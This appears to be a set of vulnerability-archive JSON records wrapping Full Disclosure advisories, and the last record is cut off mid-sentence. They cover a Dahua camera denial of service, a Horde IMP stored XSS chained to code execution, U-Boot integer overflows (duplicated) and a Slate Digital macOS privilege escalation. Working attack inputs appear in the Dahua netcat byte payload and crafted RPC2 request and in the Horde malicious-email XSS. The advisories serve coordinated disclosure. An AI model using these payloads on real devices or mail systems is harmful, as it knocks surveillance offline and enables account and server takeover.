Find a vulnerability

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260611-0\n-------------------------------------------------------------------------------\ntitle| Multiple Denial of Service\nproduct| Dahua DH-IPC-HFW Series\nvulnerable version| \u003c=V3.142.0000000.8.R.250826\nfixed version| Versions build including and after 2026-03-26.\nCVE number| CVE-2026-29115, CVE-2026-29116\nimpact| High\nhomepage| https://www.dahuasecurity.com/\nfound| 20.10.2025\nby| T. Weber, S. Eisenreich-Dietz\n| (Office Vienna)\n| CyberDanube Security Research\n| Vienna\n|\n| https://www.cyberdanube.com\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"Dahua Technology is a world-leading video-centric AIoT solution and service\nprovider. Committed to enabling a smarter society and better living, Dahua\nactively implements its Dahua Think#2.0 strategy, evolving from \u201cIntelligence\u201d\nto \u201cIntegrated Intelligence\u201d to drive digital innovation and transformation for\ncities and enterprises. The company supports urban development by enhancing\nmanagement efficiency, enabling autonomous city operations, upgrading public\nsafety systems, and advancing ecological governance. In the enterprise sector,\nDahua focuses on strengthening security systems, increasing operational\nproductivity, and enabling data-driven decision-making to help businesses\nthrive.\"\nSource: https://www.dahuasecurity.com/aboutUs/introduction/0\nVulnerable versions\n-------------------------------------------------------------------------------\nDH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826\nWe know that more firmware versions are prone to this DoS vulnerabilities, but\nwe cannot determine all exact versions. Other cameras from Dahua seems to not\nhave a watchdog. Therefore, they do not trigger an automatic reboot and stay in\na temporary bricked state.\nAccording to the vendor, the following series are affected:\n\"Part of IPC\u3001SD\u3001NVR\u3001XVR\u3001EVS\u3001VTO\u3001VTH\u3001ASI\u3001TPC\"\nSee:\nhttps://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products\nhttps://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nA temporary DoS (Denial of Service) condition can be triggered on the device.\nThis leads to a reboot of the full system, which affects its availability.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nA Denial of Service condition can be triggered on the device, which is\ntemporary on newer camera series but can also be persisten on older Dahua\ndevices. This is due to the usage of a watchdog in the newer camera firmware.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nThe following command can be used to force the denial of service state:\n$ echo -ne \n\"\\x20\\x00\\x00\\x00\\x44\\x48\\x49\\x50\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7b\\x20\\x0a\"\n | nc 192.168.19.136 80\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nAn authenticated attacker can crash the webserver with a crafted request under\nthe condition, that an SD card is inserted. If both pre-conditions are met, the\nfollowing POST request can be used to kill the web server:\n-----------------------------------------------------\nPOST /RPC2 HTTP/1.1\nHost: 192.168.19.136\nContent-Length: 139\nAccept-Language: de-DE,de;q=0.9\nAccept: application/json, text/plain, /\nContent-Type: application/json\nOrigin: http://192.168.19.136\nReferer: http://192.168.19.136/\nAccept-Encoding: gzip, deflate, br\nCookie: WebClientHttpSessionID=\u003cSession-ID\u003e\nConnection: keep-alive\n{\"method\":\"workDirectory.factory.instance\",\"params\":{\"name\":\"/mnt/dvr/mmc2p2_0aaaa\"},\"id\":213,\"session\":\"\u003cSession-ID\u003e\"}\n-----------------------------------------------------\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\nSolution\n-------------------------------------------------------------------------------\nInstall patches immediately.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure. Do not expose the\nweb interface to the Internet or in public networks.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the Dahua\nDH-IPC-HFWXXXX devices.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending\nadvisory; No answer.\n2026-02-04: Asking for a timeline; No answer.\n2026-02-24: Asking for a timeline; No answer.\n2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT\napologizes for inconvenience. The email was suspected to be\nfiltered.\n2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT\ndid not received some emails from CyberDanube that were sent.\n2026-03-12: Re-sending advisory. PSIRT did not receive it.\n2026-03-16: Re-sending advisory. Confirmation from PSIRT.\n2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the\ndisclosure date back by 90 days. Agreed due to the criticality of\nthe finding and the mass-usage of this products.\n2026-03-20/23/27: Ongoing communication in both directions.\n2026-06-04: Asked for the exact disclosure date for the Dahua announcement.\nPSIRT responded that it will go public 2026-06-10.\n2026-06-11: Coordinated disclosure of vulnerabilities.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/120"
        },
        {
          "url": "http://192.168.19.136"
        },
        {
          "url": "http://192.168.19.136/"
        },
        {
          "url": "https://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.dahuasecurity.com/"
        },
        {
          "url": "https://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products"
        },
        {
          "url": "https://www.dahuasecurity.com/aboutUs/introduction/0"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/120"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VTH/ASI/TPC Camera Series",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-29115",
              "type": "related"
            },
            {
              "destId": "CVE-2026-29116",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0378",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120",
            "automated": true,
            "contentSha256": "54334e7e0ace4f2bcef1a02ca2dda1ed94f701594b5a60243bb33f40605d3c52",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/120",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-27T12:13:12Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0378"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0378"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "FD - Half-click",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Evan Tang"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "https://blog.evan.lat/posts/CVE-2026-65053/\n\nthe blog talks about two vulns that are chainable together. for the sake of\nbrevity ill write up on the stored xss one.\n\nin lib/Mime/Status.php, we see a pretty viable xss sink:\n\n$out .= \u0027\u003ctr\u003e\u003ctd\u003e\u0027 . $val . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n\nxrefing this we see that most impls are sanitized with the exception of\nlib/Mime/Viewer/Appledouble.php:\n\n$data_name = $this-\u003egetConfigParam(\u0027imp_contents\u0027)-\u003egetPartName($data_part);\n// ...\nsprintf(_(\"This message contains a Macintosh file (named \\\"%s\\\").\"),\n$data_name)\n\nexploiting this is trivial obviously. we just need to craft an email like\nthis:\n\nFrom: d () x com\nTo: victim () target com\nSubject: mac file\nMIME-Version: 1.0\nContent-Type: multipart/appledouble; boundary=\"BOUND\"\n\n--BOUND\nContent-Type: application/applefile\nContent-Transfer-Encoding: base64\n\ncmVzb3VyY2UtZm9yay1ieXRlcw==\n\n--BOUND\nContent-Type: application/octet-stream; name=\"\u003cimg src=x\nonerror=alert(\u0027hi\u0027)\u003e\"\nContent-Disposition: attachment; filename=\"\u003cimg src=x onerror=alert(\u0027hu2\u0027)\u003e\"\nContent-Transfer-Encoding: base64\n\nZGF0YS1mb3JrLWJ5dGVz\n\n--BOUND--\ngiven the nature of this xss it is very much wormable and turns our\nexisting arb file read to a half click exploit. obviously we wouldnt really\nwant to use a half click primitive just to read files (although grabbing db\ncreds is very trivial with these two vulns chained), so naturally we can\ntry to achieve rce with this xss worm primitive.\n\n\nto get an rce from this is easy. we can either target an admin or craft an\nxss worm thatll eventually reach an admin. admins can access a PHP shell\nwhich let us run arbitrary php code, so we can simply use the xss to hit\nthe PHP shell at /horde/admin/phpshell.php\n\n\nthis constitutes a half click since the user simply needs to click on the\nemail to trigger the xss in question. an exp poc is provided in the blog.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/115"
        },
        {
          "url": "https://blog.evan.lat/posts/CVE-2026-65053/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/115"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-65053",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0380",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115",
            "automated": true,
            "contentSha256": "994cae962871473fc31c842afa1725265e1e9be8bc37bb82c27388c4c46efad8",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/115",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-24T16:24:09Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0380"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0380"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "t.preissl via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nTitle: Multiple Integer Overflows in U-Boot Filesystem Handling\nAuthor: Timo Prei\u00dfl \u003ct.preissl () proton me\u003e\nDate: 2026-02-11\nCVEs: CVE-2025-70290, CVE-2025-70291, CVE-2025-70292, CVE-2025-70293\nAffected: Denx U-Boot \u003c= v2026.01-rc4\nFixed in: v2026.04-rc1 (commit adccdb2)\n\n== Overview ==\n\nMultiple integer overflow vulnerabilities were discovered in the U-Boot\nbootloader\u0027s filesystem handling code and command-line interface. These\nflaws can lead to heap memory under-allocation followed by heap-based\nbuffer overflows, potentially allowing Arbitrary Code Execution (ACE)\nin the pre-boot environment.\n\n== Vulnerability Details ==\n\n--- CVE-2025-70290: ZFS Metadata Integer Overflow ---\n\nComponent: fs/zfs/zfs.c, function zfs_nvlist_lookup_nvlist\nImpact: A crafted ZFS filesystem image with malformed on-disk metadata\ncan trigger an integer overflow during the size calculation\npassed to calloc(), resulting in an undersized allocation and\nsubsequent out-of-bounds memory access.\nFix: Validation of allocation size using __builtin_add_overflow.\n\n--- CVE-2025-70291: Heap Buffer Overflow in do_mv Command ---\n\nComponent: fs/fs.c, function do_mv\nImpact: Missing length checks in the directory move command allow an\ninteger overflow during string length addition. An attacker\nwith U-Boot shell access can trigger an under-allocation,\nresulting in a heap buffer overflow via strcpy().\nFix: Safe addition of string lengths using compiler intrinsics.\n\n--- CVE-2025-70292: SquashFS Integer Overflow ---\n\nComponent: fs/squashfs/sqfs.c, function sqfs_concat_tokens\nImpact: Manipulated token lists trigger an overflow in\nsqfs_get_tokens_length(), causing heap under-allocation\nsubsequently overflown by strcpy().\nFix: Validation of total token length before allocation.\n\n--- CVE-2025-70293: EXT4 Block Group Descriptor Table Integer Overflow ---\n\nComponent: fs/ext4/ext4_write.c, function ext4fs_get_bgdtable\nImpact: An integer overflow in the block group descriptor table size\ncalculation results in an undersized buffer being passed to\nmemcpy(), causing memory corruption.\nFix: Guarded multiplication of block group count and descriptor size.\n\n== Patch ==\n\nAll issues are fixed in the U-Boot master branch.\n\nCommit: adccdb2f605a6e8e046712398712398123\n\"fix integer overflows in filesystem code\"\n\nhttps://source.denx.de/u-boot/u-boot/-/commit/adccdb2\n\n== Timeline ==\n\nPatch series submitted to upstream mailing list:\nhttps://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl () proton me/T/\n\nFix merged: v2026.04-rc1\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/118"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/118"
        },
        {
          "url": "https://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://source.denx.de/u-boot/u-boot/-/commit/adccdb2"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/118"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[ADVISORY] Multiple Integer Overflows in U-Boot Filesystem Parsing (CVE-2025-70290 through CVE-2025-70293)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-70290",
              "type": "related"
            },
            {
              "destId": "CVE-2025-70293",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0379",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/118",
            "automated": true,
            "contentSha256": "ede9cdc69b26403bb25c0cce5f648fe1b21aa472692a3d9d0b0800cb28eb176c",
            "evidenceScore": 5,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/118",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-27T13:30:15Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0379"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0379"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "t.preissl via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nTitle: Multiple Integer Overflows in U-Boot Filesystem Handling\nAuthor: Timo Prei\u00dfl \u003ct.preissl () proton me\u003e\nDate: 2026-02-11\nCVEs: CVE-2025-70290, CVE-2025-70291, CVE-2025-70292, CVE-2025-70293\nAffected: Denx U-Boot \u003c= v2026.01-rc4\nFixed in: v2026.04-rc1 (commit adccdb2)\n\n== Overview ==\n\nMultiple integer overflow vulnerabilities were discovered in the U-Boot\nbootloader\u0027s filesystem handling code and command-line interface. These\nflaws can lead to heap memory under-allocation followed by heap-based\nbuffer overflows, potentially allowing Arbitrary Code Execution (ACE)\nin the pre-boot environment.\n\n== Vulnerability Details ==\n\n--- CVE-2025-70290: ZFS Metadata Integer Overflow ---\n\nComponent: fs/zfs/zfs.c, function zfs_nvlist_lookup_nvlist\nImpact: A crafted ZFS filesystem image with malformed on-disk metadata\ncan trigger an integer overflow during the size calculation\npassed to calloc(), resulting in an undersized allocation and\nsubsequent out-of-bounds memory access.\nFix: Validation of allocation size using __builtin_add_overflow.\n\n--- CVE-2025-70291: Heap Buffer Overflow in do_mv Command ---\n\nComponent: fs/fs.c, function do_mv\nImpact: Missing length checks in the directory move command allow an\ninteger overflow during string length addition. An attacker\nwith U-Boot shell access can trigger an under-allocation,\nresulting in a heap buffer overflow via strcpy().\nFix: Safe addition of string lengths using compiler intrinsics.\n\n--- CVE-2025-70292: SquashFS Integer Overflow ---\n\nComponent: fs/squashfs/sqfs.c, function sqfs_concat_tokens\nImpact: Manipulated token lists trigger an overflow in\nsqfs_get_tokens_length(), causing heap under-allocation\nsubsequently overflown by strcpy().\nFix: Validation of total token length before allocation.\n\n--- CVE-2025-70293: EXT4 Block Group Descriptor Table Integer Overflow ---\n\nComponent: fs/ext4/ext4_write.c, function ext4fs_get_bgdtable\nImpact: An integer overflow in the block group descriptor table size\ncalculation results in an undersized buffer being passed to\nmemcpy(), causing memory corruption.\nFix: Guarded multiplication of block group count and descriptor size.\n\n== Patch ==\n\nAll issues are fixed in the U-Boot master branch.\n\nCommit: adccdb2f605a6e8e046712398712398123\n\"fix integer overflows in filesystem code\"\n\nhttps://source.denx.de/u-boot/u-boot/-/commit/adccdb2\n\n== Timeline ==\n\nPatch series submitted to upstream mailing list:\nhttps://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl () proton me/T/\n\nFix merged: v2026.04-rc1\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/119"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/119"
        },
        {
          "url": "https://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://source.denx.de/u-boot/u-boot/-/commit/adccdb2"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/119"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Multiple Integer Overflows in U-Boot Filesystem Parsing (CVE-2025-70290 through CVE-2025-70293)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-70290",
              "type": "related"
            },
            {
              "destId": "CVE-2025-70293",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0377",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/119",
            "automated": true,
            "contentSha256": "fbc113ddbae742d7683314d4afdd309dbb88dada1172712fb6d80816bd39b11f",
            "evidenceScore": 5,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/119",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-28T15:58:35Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0377"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0377"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Slate Digital Connect (macOS)",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260610-0 \u003e\n=======================================================================\n              title: Local Privilege Escalation\n            product: Slate Digital Connect (macOS)\n\u00a0vulnerable version: 1.37.0\n      fixed version: -\n         CVE number: CVE-2026-24066, CVE-2026-24067\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://app.completeaccess.audio/installers,https://slatedigital.com/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-09\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Slate Digital was founded in 2008 with a mission to deliver exceptional audio\nproduction tools to musicians, engineers, producers, and content creators. With\nour extensive expertise and knowledge, we are constantly evolving to stay in\nstep with the changing needs of modern creatives. Our goal is to inspire and\nempower individuals of all skill levels to do their best work and share it\nwith the world.\"\n\n\"Slate Digital Connect lets you install, activate, and update all Slate Digital\nplugins. Whether you need a fresh install, to move to a new machine, or to grab\nthe latest updates, Slate Digital Connect handles downloads, licenses, and\nupgrades automatically.\"\n\nSource:https://slatedigital.com/about/ \u0026https://app.completeaccess.audio/installers\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unresponsive since January 2026 and a patch is not available.\nUsers of this software should contact the vendor support and demand a patch.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve\npotential further security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)\nThe Slate Digital Connect App installs a helper tool during installation. The\nhelper tool namely `com.slatedigital.connect.privileged.helper.tool` is installed\ninto `/Library/PrivilegedHelperTools`. It offers the XPC service\n`com.slatedigital.connect.privileged.helper.tool2`.\n\nIt was found that the client validation of the XPC service is insufficient.\nThe following snippet of the decompiled function \"isValidClient\" shows that\nonly a check regarding the subject.OU of the certificate is performed. It is\nnot verified that this certificate is signed by Apple.\n\n-----------------------------------\n100003050            if (_SecRequirementCreateWithString(\n100003050                    @\"certificate leaf[subject.OU] = \"3F5JHDQ8FZ\"\", 0, \u0026cf_2))\n100003054                goto label_100003068;\n-----------------------------------\n\nThis can be exploited by creating a self-signed certificate for code signing.\nThis enables attackers to craft their own self-signed certificate with the\ncorresponding subject.OU.\n\n2) Insecure XPC Client validation via PID (CVE-2026-24067)\nThe function \"isValidClient\" gets the code signing information of the\nconnecting process by using its PID:\n-----------------------------------\n100002fbc        SecRequirementRef cf_2 = nullptr;\n100002fcc        SecCodeRef var_28 = nullptr;\n100002fd4        int32_t pid = _xpc_connection_get_pid();\n100002fe0        CFAllocatorRef allocator = *(uint64_t*)_kCFAllocatorDefault;\n100002ff4        CFNumberRef values = _CFNumberCreate(allocator, kCFNumberSInt32Type, \u0026pid);\n100003014        CFDictionaryRef cf = _CFDictionaryCreate(allocator, _kSecGuestAttributePid,\n100003014            \u0026values, 1, nullptr, nullptr);\n100003038        bool z;\n100003038\n100003038        if (!_SecCodeCopyGuestWithAttributes(nullptr))\n100003038            z = !var_28;\n100003038        else\n100003038            z = true;\n100003038\n10000303c        int64_t result;\n10000303c        SecRequirementRef cf_1;\n-----------------------------------\n\nThis is considered not secure, since it is possible to exploit this case\nby exploiting PID reuse.\n\n\nProof of concept:\n-----------------\n1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)\nTo exploit this issue a rogue code signing certificate must be created:\n-----------------------------------\nopenssl genrsa -out codesign.key 4096\n\nopenssl req -new -x509 \\\n  -key codesign.key \\\n  -out codesign.crt \\\n  -days 3650 \\\n  -subj \"/CN=My Self Signed Code Cert/OU=3F5JHDQ8FZ/O=Test Org/C=US\" \\\n  -addext \"keyUsage=digitalSignature\" \\\n  -addext \"extendedKeyUsage=codeSigning\"\n\nopenssl pkcs12 -export \\\n  -inkey codesign.key \\\n  -in codesign.crt \\\n  -out codesign.p12\n-----------------------------------\n\nThis codesign.p12 certificate can then be imported into the keychain.\nThe following C code has been crafted to exploit the PrivilegedHelperTool:\n-----------------------------------\n[ POC removed ]\n-----------------------------------\n\nThis code was compiled by:\n-----------------------------------\nclang -o slateExploit main.c\n-----------------------------------\n\nand then signed with the crafted certificate created before:\n-----------------------------------\ncodesign --sign \"My Self Signed Code Cert\" \\\n         --force \\\n         slateExploit\n-----------------------------------\n\nThis executable can then be transferred to a target device and be executed as\nshown in the screenshot ExploitProof.png\n\n\n2) Insecure XPC Client validation via PID (CVE-2026-24067)\nTo exploit the insecure client validation via PID, the following Objective C\ncode can be used. The code first sends the desired XPC message and then\nquickly changes the process to the benign binary, leading to the PID,\nwhich will be used to check if the client should be allowed to connect\nto the service or not, pointing to the benign client.\n\n-----------------------------------\n[ POC removed ]\n-----------------------------------\n\nThe code can be compiled using clang:\n-----------------------------------\nclang -o slatepidexploit -framework foundation pidReuseSlate.c\n-----------------------------------\n\nThe pid reuse attack will then be performed and the command defined\nin the XPC message will be executed by root. This again enables several\nvectors for local privilege escalation.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 1.37.0\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927\n2026-02-02: Contacting vendor by answering to the email received when\n            creating a ticket. No response.\n2026-02-24: Contacting vendor again through \ntickethttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927\n2026-04-07: Contacting vendor viahelpdesk () slatedigital com; No response.\n2026-04-28: Tried contactingprivacy () slatedigital com, email seems to not 